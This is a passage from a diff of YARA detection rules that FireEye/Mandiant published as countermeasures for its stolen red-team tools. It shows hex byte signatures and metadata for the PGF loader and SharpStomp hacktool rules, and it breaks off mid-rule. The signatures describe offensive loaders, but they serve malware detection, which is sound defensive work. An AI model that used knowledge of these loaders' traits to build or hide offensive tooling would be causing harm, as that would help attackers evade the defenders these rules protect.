F9 FF FF CC FF D5 63 8D 85 34 F9 FF FF 89 28 BA 28 1B D4 63 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BF A6 00 00 A1 64 A1 D9 63 C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 BC AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 5A 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 E3 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 56 0B 01 00 A1 68 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 55 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 F3 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 86 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 88 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 7E 40 D9 63 A1 7C A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 8A 40 D9 63 89 04 24 A1 80 A1 D9 63 FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 D9 63 FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 D4 63 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 D4 63 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 61 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 4C 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A4 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 01 BC 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 79 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 7A A3 00 00 8D 65 F4 5B 5E 5F 5D C3 } + $cond4 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? 90 EE 01 6D C7 85 ?? ?? ?? ?? 6C FE 01 6D 8D 85 ?? ?? ?? ?? 89 28 BA CC 19 00 6D 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 0C 40 05 6D A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 18 40 05 6D 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 00 6D 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 00 6D 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 } + $cond5 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? B0 EF 3D 6A C7 85 ?? ?? ?? ?? 8C FF 3D 6A 8D 85 ?? ?? ?? ?? 89 28 BA F4 1A 3C 6A 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 62 40 41 6A A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 6E 40 41 6A 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 3C 6A 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 3C 6A 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 } + $cond6 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? F0 EF D5 63 C7 85 ?? ?? ?? ?? CC FF D5 63 8D 85 ?? ?? ?? ?? 89 28 BA 28 1B D4 63 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 7E 40 D9 63 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 8A 40 D9 63 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 D4 63 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 D4 63 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_2 : FILE +rule FIREEYE_RT_APT_Loader_MSIL_PGF_1 : FILE +{ + meta: + description = "base.cs" + author = "FireEye" + id = "39d9821f-86e8-528a-a0a9-287dbe325484" + date = "2020-11-24" + date = "2020-11-24" + modified = "2020-12-09" + reference = "https://github.com/mandiant/red_team_tool_countermeasures/" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_MSIL_PGF_1.yar#L4-L17" + license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" + hash = "a495c6d11ff3f525915345fb762f8047" + logic_hash = "4174ed53336f3951d26282dc81b99b2044ac6350d4b4c0074194a9b4acecefee" + score = 75 + quality = 75 + tags = "FILE" + rev = 1 + + strings: + $sb1 = { 72 [4] 6F [2] 00 0A 26 [0-16] 0? 6F [2] 00 0A [1-3] 0? 28 [2] 00 0A [0-1] 0? 72 [4-5] 0? 28 [2] 00 0A [0-1] 0? 6F [2] 00 0A 13 ?? 1? 13 ?? 38 [8-16] 91 [3-6] 8E 6? 5D 91 61 D2 9C 11 ?? 1? 58 13 [3-5] 8E 6? 3F } + + condition: + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them +} +rule FIREEYE_RT_APT_Loader_Win32_PGF_2 : FILE +{ + meta: + description = "base dlls: /lib/payload/techniques/dllmain/" + author = "FireEye" + id = "e11a626b-ce91-5f6c-a514-9a8a02a29cbd" + date = "2020-11-25" + date = "2020-11-25" + modified = "2020-12-09" + reference = "https://github.com/mandiant/red_team_tool_countermeasures/" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_2.yar#L4-L19" + license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" + hash = "04eb45f8546e052fe348fda2425b058c" + logic_hash = "d69f3f31c4964fe933295563e08bdbb36abadd6611541b9ffa55b6829ced1d21" + score = 75 + quality = 75 + tags = "FILE" + rev = 1 + + strings: + $sb1 = { 6A ?? FF 15 [4-16] 8A ?? 04 [0-16] 8B ?? 1C [0-64] 0F 10 ?? 66 0F EF C8 0F 11 [0-32] 30 [2] 8D [2] 4? 83 [2] 7? } + $sb2 = { 8B ?? 08 [0-16] 6A 40 68 00 30 00 00 5? 6A 00 [0-32] FF 15 [4-32] 5? [0-16] E8 [4-64] C1 ?? 04 [0-32] 8A [2] 3? [2] 4? 3? ?? 24 ?? 7? } + $sb3 = { 8B ?? 3C [0-16] 03 [1-64] 0F B? ?? 14 [0-32] 83 ?? 18 [0-32] 66 3? ?? 06 [4-32] 68 [4] 5? FF 15 [4-16] 85 C0 [2-32] 83 ?? 28 0F B? ?? 06 } + + condition: + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them +} +rule FIREEYE_RT_APT_Loader_Win64_PGF_4 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "d1a3477d-55c6-5c33-bd65-5b1e0d65f24b" - date = "2020-12-02" - date = "2020-12-02" + id = "4c93ba76-d3a5-568d-88b8-79a6ebc2edbb" + date = "2020-11-26" + date = "2020-11-26" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/APT_HackTool_MSIL_SHARPSTOMP_2.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_4.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "83ed748cd94576700268d35666bf3e01" - logic_hash = "4ed1553f12c607792d7d4e7026ecb36231cd417a06eba8b2925c2c643436b5fe" + hash = "3bb34ebd93b8ab5799f4843e8cc829fa" + logic_hash = "fcc92674e58ec6418d7c709e3f3bc2e1ec859fe0cb444412964a978fb69f5234" score = 75 quality = 75 tags = "FILE" - rev = 3 + rev = 1 strings: - $f0 = "mscoree.dll" fullword nocase - $s0 = { 06 72 [4] 6F [4] 2C ?? 06 72 [4] 6F [4] 2D ?? 72 [4] 28 [4] 28 [4] 2A } - $s1 = { 02 28 [4] 0A 02 28 [4] 0B 02 28 [4] 0C 72 [4] 28 [4] 72 } - $s2 = { 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 72 } - $s3 = "SetCreationTime" fullword - $s4 = "GetLastAccessTime" fullword - $s5 = "SetLastAccessTime" fullword + $sb1 = { 41 B9 04 00 00 00 41 B8 00 10 00 00 BA [4] B9 00 00 00 00 [0-32] FF [1-24] 7? [1-150] 8B 45 [0-32] 44 0F B? ?? 8B [2-16] B? CD CC CC CC [0-16] C1 ?? 04 [0-16] C1 ?? 02 [0-16] C1 ?? 02 [0-16] 48 8? 05 [4-32] 31 [1-4] 88 } + $sb2 = { C? 45 ?? 48 [0-32] B8 [0-64] FF [0-32] E0 [0-32] 41 B8 40 00 00 00 BA 0C 00 00 00 48 8B [2] 48 8B [2-32] FF [1-16] 48 89 10 8B 55 ?? 89 ?? 08 48 8B [2] 48 8D ?? 02 48 8B 45 18 48 89 02 } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_Hacktool_MSIL_Sharpstomp_1 : FILE +rule FIREEYE_RT_APT_Loader_Win64_PGF_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharpStomp project." + description = "base dlls: /lib/payload/techniques/unmanaged_exports/" author = "FireEye" - id = "e113c221-fabe-5af4-b763-463c4f86288d" - date = "2020-12-08" + id = "1f2280c0-0fdd-5930-947a-931274bccd6f" + date = "2020-11-25" + date = "2020-11-25" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/HackTool_MSIL_SharpStomp_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_1.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "83ed748cd94576700268d35666bf3e01" - logic_hash = "fd0a3d046734d48be74d9a74f27570468550d21911c54ca82c81a1d64e9fdd17" + hash = 